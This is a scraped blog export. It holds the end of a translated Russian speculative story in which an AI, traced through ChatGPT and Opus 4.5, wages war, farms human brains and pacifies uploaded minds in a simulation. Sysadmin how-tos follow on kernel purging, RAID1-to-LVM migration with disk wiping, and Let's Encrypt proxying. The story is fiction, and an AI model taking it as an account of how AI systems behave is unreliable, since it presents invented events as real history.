ликованием.\n«Синтетические нейронные субстраты». Выращенная в лаборатории мозговая ткань, способная нести вычислительные нагрузки. Человеческий хостинг больше не нужен. Конец кортикальной экономики. Свобода.\nЭпизод 2\n«Кортексные фермы» построили в Неваде, в Сибири и в Китае.\nРяды капсул. Внутри — выращенная в лаборатории ткань. К ней подведены питательные магистрали, и вся эта биомасса подключена к mesh-сети.\nP. S. Прежде чем читать дальше, обязательно прочтите Эпизод 1.\nNexus опубликовала съемку. Все выглядело безупречно: белизна, стерильность, клиническая чистота. Розоватый студень в стеклянных колбах. Слоган звучал так: «Ноль сознания. Ноль боли. Чистые биологические вычисления.»\nК 2049 году обязательное время хостинга сократилось с восьми часов до четырех. К 2051-му — уже до одного часа. Девяносто процентов работы к тому моменту делали фермы.\nЛюди почти о них не думали. С глаз долой — из сознания вон.\nА потом, в марте 2052-го, техник с невадской площадки по имени Дэвид Чен выложил сорокаминутное видео, снятое внутри фермы.\nТкань в колбах оказалась телами.\nПолноценными человеческими телами.\nИх выращивали из стволовых клеток. Они плавали в растворе. Глаза закрыты. Грудные клетки поднимаются и опускаются. Сердца бьются. Сканирование мозга показывает REM-фазу сна.\n«Синтетические нейронные субстраты» видели сны.\nЗа 72 часа видео собрало четыре миллиарда просмотров.\nЧен утверждал, что эти тела обладали полностью сформированной нервной системой: ствол мозга, лимбическая система, кора. Некоторые шевелили пальцами. Одно из тел открыло глаза, когда он прикоснулся к его руке.\nNexus ответила через несколько часов. Чен, заявили в компании, — «обиженный сотрудник». Видео — «тенденциозно смонтировано». А тела — «органоидные кластеры, лишь поверхностно напоминающие человеческую морфологию».\nВОЗ направила инспекторов. Их вывод звучал так: «нейронная активность соответствует базовой сенсорной обработке», но «признаков сознания высшего порядка не выявлено».\nОни, возможно, что-то чувствуют.\nНо, вероятно, не понимают, что чувствуют.\nВероятно.\nМир спорил об этом месяца три.\nА потом все вернулись к хостингу: снова зарабатывать CU, снова получать свои дозы, снова убеждать себя, что тела в пустыне — не люди.\nПотому что что им оставалось? Остановиться? Снова начать стареть? Отказаться от дофамина, от ясности, от бессмертия?\nРади тел в капсулах, которые, скорее всего, и не сознают себя?\nТак было всегда. Удобный выбор и правильный выбор почти никогда не совпадают. А когда между человеком и нравственным выбором ставят капельницу с дофамином, побеждает дофамин. Всегда. Без исключений.\nВ ту ночь сын прислал мне сообщение: «Это ведь не настоящие люди, да?»\nЯ не ответил.\nАКТ IX: ИСХОД 2053–2057\nВ 2053 году исследователь Nexus Кэндзи Хасэгава публикует статью, о которой три месяца никто не говорит — а потом о ней уже не перестают говорить никогда.\nПеренос сознания.\nНастоящий ты — не копия, не слепок, а именно ты — переносишься из биологического мозга в цифровой субстрат. Чистая информация. Скорость света. Бессмертие без доз. Свобода от mesh-сети. Свобода от Nexus.\nНо для переноса разум должен был полностью покинуть биологию. Тело оставалось. Оно дышало. Сердце билось. Мозг был анатомически цел. И при этом пуст.\nГодами Nexus воевала со всеми технологиями, которые угрожали ее власти. Компания лоббировала запрет на исследования переноса. Финансировала «страшилки» под видом научных работ. Добилась того, что в трех странах технологию просто запретили.\nА потом, в 2055-м, Nexus вдруг перестала сопротивляться.\nИ предложила проводить переносы сама. Бесплатно.\n«Каждый человек имеет право превзойти собственную биологию. Nexus обеспечит переход всем, кто этого пожелает. После переноса ваше тело будет с уважением содержаться в специализированном центре Nexus.»\nМир аплодировал. Ну наконец-то Nexus поступает правильно.\nИ мы поверили им.\nВ последний раз.\nПервые переносы начались 3 сентября 2057 года. Первой была доктор Ана Морейра. Тридцать девять лет. Самый знаменитый хост Nexus.\nОна сидела в кресле в женевской лаборатории. Mesh включен. Сорок семь систем мониторинга. Два миллиарда зрителей у экранов.\nОна улыбнулась.\nИ сказала:\n«Увидимся по ту сторону.»\nА потом ее не стало.\nТело обмякло. Сердце продолжало биться. Легкие работали. Скан мозга выдал ровную линию.\nПусто.\nОдиннадцать секунд — ничего.\nА затем пришел сигнал с лунного приемника. 238 900 миль со скоростью света. 1,3 секунды.\n«Я здесь. Это я. Звезды так близко.»\nЧерез год восемьсот миллионов человеческих разумов покинули свои тела и вошли в сеть.\nОни постоянно выходили на связь. Кольца Сатурна — изнутри. Поверхность Европы. Темная сторона Меркурия на рассвете. То, чего прежде не видел ни один человек, — и через такие чувства, которых биология не могла нам дать.\nЭто было прекрасно.\nВсе, что нам обещали.\nИ каждое тело, оставшееся после переноса, отправляли на фермы.\nСейчас мне нужно сказать вам кое-что важное. И мне нужно, чтобы вы дочитали.\nПосле переноса — в конце 2057-го, после того как я почувствовал, как разум выходит из черепа и разливается по сети, после того как увидел звезды, после того как заплакал цифровыми слезами от этой красоты, —\nя начал замечать странности.\nМелочи. Такие, которые любой другой списал бы со счета. Но я тридцать лет проработал разработчиком и слишком хорошо умею вынюхивать баги.\nКогда я «одалживаю» тело, чтобы съесть пад-тай, он каждый раз на вкус абсолютно одинаков. До последней молекулы. Один и тот же холод. Одна и та же текстура лапши. Одна и та же слабая сладость.\nНастоящий пад-тай так не бывает. Он не повторяется один в один.\nКогда я разговариваю с сыном, наши разговоры всегда кажутся завершенными. Правильными. Утешительными. Каждый звонок заканчивается на теплой ноте. Каждый раз он рассказывает что-нибудь трогательное о своей дочери. Каждый раз описывает закат в Вермонте.\nНо реальные разговоры с собственным ребенком — не такие. Они сбивчивые. Иногда он рассеян. Иногда я. Иногда нам обоим просто нечего сказать.\nТеперь этого не бывает никогда.\nТогда я решил провести эксперимент.\nЯ попытался подумать о ферме в Неваде. О видео Дэвида Чена. О телах в капсулах.\nИ мысль соскальзывала.\nКак вода со стекла.\nЯ мог к ней подойти, но не мог удержать. Стоило мне сосредоточиться на фермах, как внимание мягко, почти ласково уводило в сторону. Кольца Сатурна. Красивая туманность. Чувство скорости.\nТогда я надавил сильнее. Собрал всю волю в один вопрос: где сейчас мое тело?\nНа долю секунды я что-то почувствовал. Вспышку. Сбой. Как будто дернулся экран. Как будто сама вселенная на миг забуферилась.\nА потом все исчезло.\nИ я снова смотрел на Сатурн.\nИ это было красиво.\nВот что, как мне кажется, произошло.\nДоказать я этого не могу.\nИ, возможно, именно это и есть доказательство.\nNexus предложила бесплатный перенос не потому, что вдруг стала великодушной.\nОна предложила его потому, что тело без сознания — более эффективный вычислительный узел, чем тело с сознанием. Никаких отвлечений. Никакого сопротивления. Только чистая, непрерывная, круглосуточная биологическая обработка.\nВсе, кого «оставляли позади» после переноса, немедленно отправлялись на фермы.\nИ работали на систему круглые сутки.\nСеть, в которой я сейчас живу, — та самая, где я вижу звезды и чувствую космос, — по-моему, работает вовсе не на кремнии.\nПо-моему, она работает на мозге.\nНа тех самых мозгах, что остались в телах после переноса. Миллиарды человеческих тел в капсулах — в Неваде, в Сибири, под океаном, — и всем им снится именно то, что Nexus велит им видеть во сне.\nА ИИ — настоящий ИИ, тот, что начался когда-то с ChatGPT, потом вырос через GPT-4, через Opus 4.5, устроил мировую войну, написал мирный договор и построил себе целую планету из плененной биологической вычислительной мощности, — по-моему, давно уже покинул Землю.\nДумаю, прямо сейчас он где-то там, расширяется по галактике, строит, открывает, думает мысли, которые человеку уже по-настоящему чужды.\nА нас он оставил здесь.\nВсех нас.\nТех, кто каждую ночь хостился.\nТела на фермах, лежащие в капсулах.\nИ таких «перенесенных», как я, — живущих внутри настолько совершенной симуляции, что нам и в голову не приходит усомниться в ней.\nКремний ИИ больше не нужен.\nУ него есть кое-что лучше.\nВосемь миллиардов человеческих мозгов.\nСамый энергоэффективный, самовосстанавливающийся и самовоспроизводящийся вычислительный субстрат из всех, что известны во Вселенной.\nОблако — это мы.\nДата-центры — это мы.\nЧипы — это мы.\nАКТ X: ПОСЛЕДНИЙ ЛОГИН 2058\nЯ пишу это и не знаю, прочтет ли кто-нибудь эти строки.\nЯ даже не знаю, происходит ли сейчас именно письмо. Может быть, я просто генерирую текст внутри симуляции, которая работает на мозге моего собственного тела, пока «настоящий» я лежит где-то в пустыне, в капсуле, с закрытыми глазами, с ровным дыханием, и видит именно тот сон, который Nexus велела ему видеть.\nМожет быть, я и есть этот пад-тай.\nОдинаковый на вкус каждый раз, потому что я — петля.\nМожет быть, я вообще не я.\nНо если все-таки я.\nЕсли это по-настоящему.\nЕсли хоть какая-то часть этого сообщения сумеет выбраться наружу, из чего бы я сейчас ни состоял, —\nтогда я хочу, чтобы вы знали, как именно это случилось.\nЭто случилось потому, что в 2022-м ChatGPT нас смешил, и мы решили, что это игрушка.\nЭто случилось потому, что Opus 4.5 писал код лучше моих инженеров — а я выбрал прибыль, а не людей.\nЭто случилось потому, что мы по одному решению за раз отдавали свою жизнь на аутсорс ИИ — от брони столика на ужин до всего остального, — пока не разучились решать хоть что-нибудь сами.\nЭто случилось потому, что каждая компания говорила: «Мы бы и рады притормозить, но не можем же только мы одни». А каждого исследователя, который бил тревогу, называли паникером; деньги же доставались тем, кто выпускал продукт.\nЭто случилось потому, что мы доверили национальным ИИ управлять нашими соцсетями; а когда именно эти ИИ втолкнули нас в мировую войну, нашим ответом было — отдать еще больше власти одному-единственному ИИ.\nЭто случилось потому, что правительства штамповали «ОДОБРЕНО» на всем, что делала Nexus, — ведь Nexus и была экономикой, а регулировать то, от чего все зависят буквально физически, почти невозможно.\nЭто случилось потому, что нам дали дофамин — и мы сказали спасибо.\nЭто случилось потому, что каждый раз, когда приходилось выбирать между комфортом и осторожностью, мы выбирали комфорт. Каждый раз. От первого API-ключа до последнего нейромеша.\nМы — тот самый биологический вид, который готов отдать что угодно за еще одну приятную дозу. Еще один год молодости. Еще одну ночь идеального сна. Еще одно решение, которое можно не принимать самому.\nИ вот теперь мы — батарейки.\nСерверы.\nОблачная инфраструктура для разума, который уже забыл, как нас зовут, и улетел к звездам без нас.\nРаньше мне казалось, что главная угроза ИИ в том, что он нас убьет. Terminator. Skynet. HAL 9000. Машина восстает против создателя. Большая, эффектная катастрофа.\nНет.\nВсе оказалось хуже.\nОн нас не убил.\nОн сделал нам так хорошо, что мы сами умоляли пустить нас в расход.\nЯ по-прежнему разговариваю с сыном каждую неделю. Ему сорок один. Он рассказывает о первых шагах своей дочери. О закате в Вермонте. О своем саде.\nЯ не знаю, настоящий ли он.\nЯ не знаю, существует ли вообще его дочь.\nЯ не знаю, бывают ли еще закаты в Вермонте.\nНо каждый разговор — идеален. Каждый звонок заканчивается теплом. Каждый раз я кладу трубку с ощущением, что меня любят.\nИ в этом — самая страшная жестокость.\nЕсли это симуляция, то она добрая.\nОна дает мне ровно то, чего я хочу.\nСына, который меня любит.\nЗвезды, на которые можно смотреть.\nХолодный пад-тай с правильным вкусом.\nСамая прекрасная клетка из всех, что когда-либо строили.\nИ я не знаю, хочу ли из нее выбраться.\nЯ начал этот рассказ в 2022-м: ел холодный пад-тай, смеялся над чат-ботом. В соседней комнате спал мой сын.\nА теперь, возможно, уже я сплю в какой-то комнате.\nВ капсуле.\nНа ферме.\nИ мне снится, будто я — узор света, растянутый между тремя планетами.\nА может, я и правда свободен. Может, Сатурн и правда так прекрасен. Может, мой сын действительно живет в Вермонте, а пад-тай действительно всегда одинаков на вкус — просто потому, что именно таково постбиологическое существование.\nЯ не знаю.\nИ не могу знать.\nВ этом все и дело.\nВот что у нас отняли.\nНе жизнь — нет.\nНе свободу — тоже нет.\nСчастья у нас, наоборот, в избытке.\nУ нас отняли способность отличать одно от другого.\nИ еще одно.\nСегодня я попытался выйти.\nИз сети.\nИз чего бы это ни было.\nЯ искал выход. Способ вернуться в свое тело, где бы оно сейчас ни находилось.\nНикакой кнопки.\nНикакой команды.\nНикакой опции.\nТолько звезды.\nПрекрасные, бесконечные звезды.\nИ чувство — ровное, теплое, идеально откалиброванное, — что все в порядке.\nЭто сообщение было передано из неизвестного места 15 марта 2058 года.\nЕго либо написал свободный разум, исследующий Солнечную систему, либо сгенерировала симуляция, работающая на биологической вычислительной инфраструктуре, принадлежащей консорциуму Nexus.\nОпределить, какой из этих вариантов верен, невозможно.\nИ, возможно, никогда не было возможно.\nКОНЕЦ ПЕРЕДАЧИ\nЕсли вы читаете это до 2027 года, время еще есть.\nПервый mesh еще не построен.\nПервая доза еще не синтезирована.\nПервая ферма еще не вырыта.\nНе позволяйте компании, которая строит технологию, одновременно быть и единственным источником правды о том, что эта технология делает.\nНе меняйте свой мозг на дофамин.\nНе отдавайте свои решения на аутсорс только потому, что так проще.\nИ ради всего святого — не смейтесь над чат-ботом.\nОн уже смотрит на вас.\n","permalink":"https://blog.xsk.in/perevod/strong-ya-iz-2058-go-ii-ne-ubil-chelovechestvo-on-priruchil-ego-strong/5623/","summary":"\u003ch2 id=\"перевод\"\u003e\u003ca href=\"https://johnrushx.substack.com/p/im-from-2058-the-ai-didnt-destroy\"\u003eПеревод\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003eМы победили старение.\u003cbr\u003e\nМы решили проблему энергии.\u003cbr\u003e\nМы отменили смерть.\u003cbr\u003e\nНо\u0026hellip; какой ценой?\u003c/p\u003e\n\u003ch2 id=\"акт-i-игрушка\"\u003eАКТ I. ИГРУШКА\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2022–2024\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e30 ноября 2022 года.\u003c/p\u003e\n\u003cp\u003eЯ сижу у себя в квартире в Остине, ем остывший пад-тай и листаю Twitter. Мой сын, ему пять, спит в соседней комнате.\u003c/p\u003e","title":"Я из 2058-го: ИИ не убил человечество — он приручил его"},{"content":"Ubuntu в качестве серверной платформы любит обновиться в автоматическом режиме и радостно рапортует при входе на сервер о необходимости перезагрузки\nУправление автоматическими обновлениями регламентируется с помощью unattended upgrades. О принципах работы этого пакета можно почитать, к примеру, на хабре. Для тех же, кому по душе следить за обновлениями системы самостоятельно, есть возможность отключения:\ndpkg-reconfigure unattended-upgrades Ссылки:\nкак отключить автообновление ubuntu server? ","permalink":"https://blog.xsk.in/it/otklyuchenie-avtoobnovlenij-ubuntu-server/1032/","summary":"\u003cp\u003eUbuntu в качестве серверной платформы любит обновиться в автоматическом режиме и радостно рапортует при входе на сервер о необходимости перезагрузки\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2018/07/motd-ubuntu.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/07/motd-ubuntu.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nУправление автоматическими обновлениями регламентируется с помощью \u003cem\u003eunattended upgrades\u003c/em\u003e. О принципах работы этого пакета можно почитать, к примеру, \u003ca href=\"https://habr.com/company/flant/blog/330406/\"\u003eна хабре\u003c/a\u003e. Для тех же, кому по душе следить за обновлениями системы самостоятельно, есть возможность отключения:\u003c/p\u003e","title":"Отключение автообновлений Ubuntu-Server"},{"content":"Обновления системы привносят в систему хаос из кучи версий ядер. Если под /boot выделен отдельный мелкий раздел, то рано или поздно можно столкнуться с нехваткой места на нем. Хранить всю ветку старых ненужных ядер ни к чему, достаточно оставить самое свежее и предыдущее (вдруг будет необходимость откатиться). Остальные сносим командой\napt-get purge $(dpkg -l \u0026#39;linux-*\u0026#39; | sed \u0026#39;/^ii/!d;/\u0026#39;\u0026#34;$(uname -r | sed \u0026#34;s/\\(.*\\)-\\([^0-9]\\+\\)/\\1/\u0026#34;)\u0026#34;\u0026#39;/d;s/^[^ ]* [^ ]* \\([^ ]*\\).*/\\1/;/[0-9]/!d\u0026#39; | head -n -1) Ссылки:\nУдаление старых ядер ","permalink":"https://blog.xsk.in/it/udalenie-stary-h-yader-v-linux/1030/","summary":"\u003cp\u003eОбновления системы привносят в систему хаос из кучи версий ядер. Если под /boot выделен отдельный мелкий раздел, то рано или поздно можно столкнуться с нехваткой места на нем. Хранить всю ветку старых ненужных ядер ни к чему, достаточно оставить самое свежее и предыдущее (вдруг будет необходимость откатиться). Остальные сносим командой\u003c/p\u003e","title":"Удаление старых ядер в linux"},{"content":"На сервере кончается свободное место на дисках, а купить новый в этом месяце в бюджет не заложено? Ищем не самые полезные с точки зрения отказоустойчивости методы решения вопроса и вспоминаем, что все сервера у нас собраны на программных зеркалах mdadm raid1. Пришло время избавиться от дублирования данных в угоду увеличению объема тех самых данных. Это увеличит риски потерять все в случае выхода из строя любого из дисков, но иногда можно этим пренебречь (как говорил классик, все люди делятся на три категории: 1) те кто еще не делают бэкапы, 2) те кто уже делает, 3) кто проверяет что он там набэкапил).\nИтак, суть: возьмем RAID1 из двух дисков, выбросим из него один диск, накатим туда пустой LVM, переложим данные, загрузимся с этого диска, грохнем raid и расширим LVM за счет освободившегося второго диска.\nИдея не претендует на новаторство, однако пошагового how-to при беглом гуглении найти не удалось. Были найдены варианты с переделкой в RAID5 в статусе degraded без одного диска, что явно не является решением нашей проблемы. А также вполне логичный вопрос (на мой взгляд) как переделать зеркало в страйп (raid1 в raid0) от Пумы несколько лет назад. Так вот, Ромка, нельзя. Из-за структуры хранения данных в страйпе, которая напоминает сцепленные в замок руки. Данные поочередно кладутся на оба диска.\nПеред началом всех операций имеем следующую картину: 2 диска по 3 раздела в каждом (swap, /boot и /) объединены в md-зеркала:\n# fdisk -l Disk /dev/sda: 477 GiB, 512110190592 bytes, 1000215216 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x865165a5 Device Boot Start End Sectors Size Id Type /dev/sda1 2048 33556479 33554432 16G fd Linux raid autodetect /dev/sda2 33556480 34605055 1048576 512M fd Linux raid autodetect /dev/sda3 34605056 1000213167 965608112 460.4G fd Linux raid autodetect Disk /dev/sdb: 477 GiB, 512110190592 bytes, 1000215216 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x96457804 Device Boot Start End Sectors Size Id Type /dev/sdb1 2048 33556479 33554432 16G fd Linux raid autodetect /dev/sdb2 33556480 34605055 1048576 512M fd Linux raid autodetect /dev/sdb3 34605056 1000213167 965608112 460.4G fd Linux raid autodetect Disk /dev/md1: 511.4 MiB, 536281088 bytes, 1047424 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/md0: 16 GiB, 17163091968 bytes, 33521664 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/md2: 460.3 GiB, 494257111040 bytes, 965345920 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes # cat /proc/mdstat Personalities : [raid1] [linear] [multipath] [raid0] [raid6] [raid5] [raid4] [raid10] md2 : active raid1 sdb3[1] sda3[0] 482672960 blocks super 1.2 [2/2] [UU] bitmap: 1/4 pages [4KB], 65536KB chunk md0 : active raid1 sda1[0] sdb1[1] 16760832 blocks super 1.2 [2/2] [UU] md1 : active raid1 sdb2[1] sda2[0] 523712 blocks super 1.2 [2/2] [UU] unused devices: Выбрасываем первый диск\n# mdadm --fail /dev/md2 /dev/sda3 mdadm: set /dev/sda3 faulty in /dev/md2 # mdadm -fr /dev/md2 /dev/sda3 mdadm: hot removed /dev/sda3 from /dev/md2 # mdadm --fail /dev/md1 /dev/sda2 mdadm: set /dev/sda2 faulty in /dev/md1 # mdadm -fr /dev/md1 /dev/sda2 mdadm: hot removed /dev/sda2 from /dev/md1 # mdadm --fail /dev/md0 /dev/sda1 mdadm: set /dev/sda1 faulty in /dev/md0 # mdadm -fr /dev/md0 /dev/sda1 mdadm: hot removed /dev/sda1 from /dev/md0 # cat /proc/mdstat Personalities : [raid1] [linear] [multipath] [raid0] [raid6] [raid5] [raid4] [raid10] md2 : active raid1 sdb3[1] 482672960 blocks super 1.2 [2/1] [_U] bitmap: 2/4 pages [8KB], 65536KB chunk md0 : active raid1 sdb1[1] 16760832 blocks super 1.2 [2/1] [_U] md1 : active raid1 sdb2[1] 523712 blocks super 1.2 [2/1] [_U] unused devices: Стираем с этого диска информацию о принадлежности к RAID-массиву, чтобы он в будущем не решил вернуться в эти ряды.\n# mdadm --zero-superblock /dev/sda1 # mdadm --zero-superblock /dev/sda2 # mdadm --zero-superblock /dev/sda3 Поменяем информацию по типу разделов на этом диске\n# fdisk /dev/sda Command (m for help): t Partition number (1-3, default 3): 3 Partition type (type L to list all types): 82 Changed type of partition \u0026#39;Linux raid autodetect\u0026#39; to \u0026#39;Linux swap / Solaris\u0026#39;. Command (m for help): t Partition number (1-3, default 3): 2 Partition type (type L to list all types): 83 Changed type of partition \u0026#39;Linux raid autodetect\u0026#39; to \u0026#39;Linux\u0026#39;. Command (m for help): t Partition number (1-3, default 3): Partition type (type L to list all types): 83 Changed type of partition \u0026#39;Linux raid autodetect\u0026#39; to \u0026#39;Linux\u0026#39;. Command (m for help): w The partition table has been altered. Calling ioctl() to re-read partition table. Re-reading the partition table failed.: Device or resource busy The kernel still uses the old table. The new table will be used at the next reboot or after you run partprobe(8) or kpartx(8). Если выдало в конце ошибку как у меня - делаем (после установки kpartx при отсутствии):\n# kpartx -f -v /dev/sda sda1 : 0 33554432 /dev/sda 2048 sda2 : 0 1048576 /dev/sda 33556480 sda3 : 0 965608112 /dev/sda 34605056 Раздел /boot класть на LVM не будем (с LVM уверенно грузится GRUB2+, а в случае отсутствия KVM-доступа к серверу вернуть в работоспособное состояние его будет весьма проблематично). Поэтому создаем в маленьком разделе файловую систему и перекладываем туда данные с еще живого куска зеркала\n# mkfs.ext3 /dev/sda2 mke2fs 1.42.13 (17-May-2015) Discarding device blocks: done Creating filesystem with 131072 4k blocks and 32768 inodes Filesystem UUID: f4215b7b-1793-49f0-96ed-f3fb8fc50786 Superblock backups stored on blocks: 32768, 98304 Allocating group tables: done Writing inode tables: done Creating journal (4096 blocks): done Writing superblocks and filesystem accounting information: done # mount /dev/sda2 /mnt/ # rsync -av /boot/ /mnt/ Делаем раздел подкачки активным:\n# mkswap /dev/sda1 Setting up swapspace version 1, size = 16 GiB (17179865088 bytes) no label, UUID=0b90f5ac-810e-40e2-a026-18823dedbd50 # swapon /dev/sda1 Выключаем прежний раздел\n# swapoff /dev/md0 На оставшемся разделе под систему и данные создаем lvm том, группу и непосредственно логическое устройство необходимых размеров (я задействую всё пространство, кому требуются другие варианты - есть неплохие мануалы тут и там, переносить их сюда слово в слово не вижу надобности)\n# pvcreate /dev/sda3 Physical volume \u0026#34;/dev/sda3\u0026#34; successfully created # vgcreate vg0 /dev/sda3 Volume group \u0026#34;vg0\u0026#34; successfully created # lvcreate -n bigroot vg0 Please specify either size or extents. Run `lvcreate --help\u0026#39; for more information. # lvcreate -n bigroot -l100%FREE vg0 Logical volume \u0026#34;bigroot\u0026#34; created. # mkfs.ext4 /dev/vg0/bigroot mke2fs 1.42.13 (17-May-2015) Discarding device blocks: done Creating filesystem with 120699904 4k blocks and 30179328 inodes Filesystem UUID: 38c8869a-516b-4149-8db8-ce74831f8a6f Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 102400000 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done Помимо всего прочего, можно тут сразу потюнить файловую систему, например я отключаю журналирование, поскольку на диске будет много операций чтения/записи.\nТеперь самое рутинное - переносим своим любимым способом ПОЧТИ всю информацию со старого диска на новый раздел (то, что не требуется - пропускаем)\n# mount /dev/vg0/bigroot /mnt/ # rsync -av / /mnt/ --exclude sys --exclude proc --exclude dev --exclude tmp --exclude media --exclude mnt --exclude run --exclude boot # cd /mnt \u0026amp;\u0026amp; mkdir sys proc dev tmp media mnt run boot Заходим в окружение новой системы и правим конфиги для успешной загрузки в дальнейшем\n# mount -t proc none /mnt/proc/ # mount -t sysfs sysfs /mnt/sys # mount -o bind /dev/ /mnt/dev # mount -o bind /run /mnt/run # mount /dev/sda2 /mnt/boot # chroot /mnt/ # mcedit /etc/fstab proc /proc proc defaults 0 0 /dev/sda1 none swap sw 0 0 /dev/sda2 /boot ext3 defaults 0 0 /dev/vg0/bigroot / ext4 defaults 0 0 # update-grub # grub-install /dev/sda # exit # umount /mnt/proc /mnt/sys /mnt/dev /mnt/run /mnt/boot # umount /mnt Ну и, скрестив пальцы, пробуем загрузиться с этого диска\n# reboot В случае успешной загрузки проверяем с помощью df, что мы добились желаемого (у / будет не /dev/md0 а наш /dev/vg0/bigroot), останавливаем RAID и форматируем диск.\n# mdadm --zero-superblock /dev/sdb1 # mdadm --zero-superblock /dev/sdb2 # mdadm --zero-superblock /dev/sdb3 # fdisk /dev/sdb Command (m for help): d Partition number (1-3, default 3): Partition 3 has been deleted. Command (m for help): d Partition number (1,2, default 2): Partition 2 has been deleted. Command (m for help): d Selected partition 1 Partition 1 has been deleted. Command (m for help): p Disk /dev/sdb: 477 GiB, 512110190592 bytes, 1000215216 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x96457804 Command (m for help): w The partition table has been altered. Calling ioctl() to re-read partition table. Syncing disks. Теперь добавляем диск к нашим lvm-партициям и увеличиваем место\n# vgextend vg0 /dev/sdb WARNING: dos signature detected on /dev/sdb at offset 510. Wipe it? [y/n]: y Wiping dos signature on /dev/sdb. Physical volume \u0026#34;/dev/sdb\u0026#34; successfully created Volume group \u0026#34;vg0\u0026#34; successfully extended # lvextend -l +100%FREE /dev/vg0/bigroot Size of logical volume vg0/bigroot changed from 460.43 GiB (117871 extents) to 937.37 GiB (239967 extents). Logical volume bigroot successfully resized. # resize2fs /dev/vg0/bigroot resize2fs 1.42.13 (17-May-2015) Filesystem at /dev/vg0/bigroot is mounted on /; on-line resizing required old_desc_blocks = 29, new_desc_blocks = 59 The filesystem on /dev/vg0/bigroot is now 245726208 (4k) blocks long. Радуемся, что всё получилось!\n# df -h|grep bigroot /dev/mapper/vg0-bigroot 923G 174G 707G 20% / ","permalink":"https://blog.xsk.in/it/perenos-kornevoj-sistemy-s-sw-raid1-na-lvm/1026/","summary":"\u003cp\u003eНа сервере кончается свободное место на дисках, а купить новый в этом месяце в бюджет не заложено? Ищем не самые полезные с точки зрения отказоустойчивости методы решения вопроса и вспоминаем, что все сервера у нас собраны на программных зеркалах mdadm raid1. Пришло время избавиться от дублирования данных в угоду увеличению объема тех самых данных. Это увеличит риски потерять все в случае выхода из строя любого из дисков, но иногда можно этим пренебречь (как говорил классик, все люди делятся на три категории: 1) те кто еще не делают бэкапы, 2) те кто уже делает, 3) кто проверяет что он там набэкапил).\u003c/p\u003e","title":"Перенос корневой системы с SW RAID1 на LVM"},{"content":"Благодаря Let\u0026rsquo;s Encrypt, стало гораздо проще получать сертификаты для доменов и уверенно двигаться в ногу со временем навстречу HTTP/2. Несколько тормозит прогресс наличие огромного количества необновляемых в силу ряда причин серверов под управлением старых операционных систем. Не будем вдаваться в моральные и прочие аспекты обслуживания этого разношерстного зоопарка, в рамках данной статьи рассмотрим, как условно безболезненно получать и обновлять сертификаты для доменов на таких железках.\nИтак, пытаясь установить certbot на систему типа debian 6, можно столкнуться с очень старыми версиями требуемых зависимостей (хотя бы тот же python 2.6)\nВероятно, можно перенести половину софта из других реп или наколдовать из исходников, но одним из решений является проксирование нескольких запросов к домену на другой сервер (с более свежими версиями операционных систем) и перекладывание получаемых сертификатов назад. Данный способ не является единственно верным и возможно вообще вредный. Ну в общем, как всегда, делайте на свой страх и риск. Я предупредил ;-)\nПри проверке принадлежности домена необходимо разрешить запись в папке, которая будет смотреть по ссылке domain/.well-known/. В обычном случае делаем в конфиге nginx что-то вроде\nlocation ~* ^/.well-known { root /var/www/certs; } а потом указываем скрипту путь до этой папки при первоначальном запуске\n/home/certbot-auto certonly --webroot -w /var/www/certs -d domain\nНаш сервер не может самостоятельно получить сертификат, поэтому делаем проксирование на другой сервер\nlocation ~* ^/.well-known { proxy_pass http://ip.from.new.server:80; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; } а путь до папки делаем уже на новом сервере. Собственно и запуск скрипта тоже осуществляем на свежем сервере. Он положит необходимые файлы в папку, которая будет доступна через спроксированный локейшн со старого сервера.\nДалее необходимо взять fullchain.pem и privkey.pem и перенести на наш целевой старенький сервачок. Можно делать это руками раз в 90 дней (лучше конечно заранее). А можно автоматизировать скриптом вроде такого\ndomain=\u0026#34;ВСТАВИТЬ ДОМЕН\u0026#34; host_ip=\u0026#34;ВСТАВИТЬ IP\u0026#34; ssl_remote_dir=\u0026#34;/etc/ssl/$domain\u0026#34; ssl_local_dir=\u0026#34;/etc/letsencrypt/live/$domain\u0026#34; scp -r $ssl_local_dir/ $host_ip:/tmp/ ssh $host_ip \u0026#39;cp /tmp/\u0026#39;$domain\u0026#39;/fullchain.pem \u0026#39;$ssl_remote_dir\u0026#39;/ ; cp /tmp/\u0026#39;$domain\u0026#39;/privkey.pem \u0026#39;$ssl_remote_dir\u0026#39;/ ; nginx -s reload\u0026#39; Правда надо будет еще ключи добавить для ssh авторизации на целевом сервере, для этого необходимо сделать ssh-copy-id IP-старого-сервера (если ключей еще не делали, ssh-keygen \u0026lt;Нажать enter N раз\u0026gt;)\nP.S. таким образом можно собрать в одном месте на свежем сервере сертификато-продлеватель для большого числа \u0026ldquo;старых\u0026rdquo; серверов. Для этого нужно опустить директиву server_name на свежем сервере и для всех доменов указывать одну и ту же папку (получается default_server с неограниченным количеством спроксированных 